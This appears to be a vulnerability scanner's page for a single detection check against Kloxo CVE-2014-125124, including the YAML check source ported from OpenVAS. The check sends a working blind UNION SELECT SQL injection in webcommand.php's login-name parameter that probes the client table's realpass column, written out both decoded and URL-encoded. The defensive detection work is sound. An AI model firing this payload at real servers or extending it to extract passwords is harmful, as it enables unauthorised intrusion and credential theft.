Kloxo — 1 vulnerability check
noctis ships 1 vulnerability check for Kloxo, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Kloxo webcommand.php SQL Injection / RCE
| CVE | CVE-2014-125124 |
|---|---|
| Severity | high · CVSS 8.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/kloxo/CVE-2014-125124.yaml |
Detects CVE-2014-125124 by first confirming the Kloxo /lbin/webcommand.php endpoint (precondition marker __error_only_clients_and_auxiliary_allowed_to_login) and then sending a UNION SELECT injection in the login name; a vulnerable Kloxo reflects the server-computed _error_login_error marker, which carries the finding.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /lbin/webcommand.php HTTP/1.0 - Checks
pre_resp.bannerfor__error_only_clients_and_auxiliary_allowed_to_login - Raw TCP (TLS on HTTPS), sent verbatim:
GET /lbin/webcommand.php?login-class=client&login-name=al5i%27%20union%20select%20%27%241… - Checks
resp.bannerfor_error_login_error→ finding QoD 75: Kloxo SQLi/RCE confirmed — the login-name UNION SELECT injection on /lbin/webcommand.php reflected the server-computed _error_login_error m…
References:
Feed source — tests/vulnerabilities/kloxo/CVE-2014-125124.yaml
# Kloxo <= 6.1.12 — SQL Injection / Remote Code Execution (CVE-2014-125124)
#
# Kloxo exposes /lbin/webcommand.php, which fails to sanitise the
# `login-name` parameter before using it in an SQL query, allowing an
# unauthenticated attacker to inject SQL (and, through the admin command
# channel, achieve remote code execution).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_kloxo_sql_inj_code_exec_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103976, GPL-2.0-only). Faithful two-request flow:
# 1. GET /lbin/webcommand.php — the endpoint only exists on Kloxo and returns
# the __error_only_clients_and_auxiliary_allowed_to_login marker. The NASL
# treats this purely as a precondition ("# If webcommands don't exist it is
# not vulnerable") — it is present on every Kloxo, patched or not, so it is
# used here only as a gate, never as the finding.
# 2. GET /lbin/webcommand.php?login-class=client&login-name=<urlencoded SQLi>
# where the injected value is
# al5i' union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client
# where ascii(substring(( select realpass from client limit 1),1,1))=68#
# &login-password=123456
# A vulnerable Kloxo executes the injected UNION, proceeds past the SQL
# stage and emits the server-computed _error_login_error marker — that is
# the real detection and carries the finding. A patched Kloxo still serves
# the endpoint (step 1 marker) but never reflects _error_login_error.
#
# Both requests are sent verbatim over tcp_connect (HTTP/1.0) so the URL-encoded
# payload reaches the server unmodified; markers are matched on resp.banner.
uid: 128ae40a-4c1d-4020-aa0f-fb24c8e1c595
name: "Kloxo webcommand.php SQL Injection / RCE"
description: |
Detects CVE-2014-125124 by first confirming the Kloxo /lbin/webcommand.php endpoint
(precondition marker __error_only_clients_and_auxiliary_allowed_to_login) and then
sending a UNION SELECT injection in the login name; a vulnerable Kloxo reflects the
server-computed _error_login_error marker, which carries the finding.
cves: [CVE-2014-125124]
cvss: 8.5
severity: high
confidence_base: 0.30
category: sqli
tags: [kloxo, sqli, rce, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-125124"
- "OpenVAS/Greenbone NASL 2014/gb_kloxo_sql_inj_code_exec_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.103976, GPL-2.0-only)"
steps:
# Initialise the gate flag so the condition never reads an undefined var.
- id: init-gate
action: set_var
var_name: kloxo_endpoint_confirmed
var_value: false
# ── Step 1: precondition — the webcommand.php endpoint must exist ──────────
- id: endpoint-probe
action: tcp_connect
port: "{{port}}"
send: "GET /lbin/webcommand.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: pre_resp
- id: confirm-endpoint
action: match
source: pre_resp.banner
pattern: "__error_only_clients_and_auxiliary_allowed_to_login"
on_match:
set_vars:
kloxo_endpoint_confirmed: true
# ── Step 2: the actual SQL injection (only if the endpoint exists) ─────────
# login-name value urlencoded verbatim from the NASL (including the trailing
# &login-password=123456, which the NASL folds into the urlencoded value).
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /lbin/webcommand.php?login-class=client&login-name=al5i%27%20union%20select%20%27%241%24Tw5.g72.%24%2F0X4oceEHjGOgJB%2FfqRww%2F%27%20from%20client%20where%20ascii%28substring%28%28%20select%20realpass%20from%20client%20limit%201%29%2C1%2C1%29%29%3D68%23%26login-password%3D123456 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: "kloxo_endpoint_confirmed == true"
store_as: resp
- id: confirm-sqli
action: match
source: resp.banner
pattern: "_error_login_error"
condition: "kloxo_endpoint_confirmed == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Kloxo SQLi/RCE confirmed — the login-name UNION SELECT injection on /lbin/webcommand.php reflected the server-computed _error_login_error marker at {{target_host}}:{{port}}"
stop: true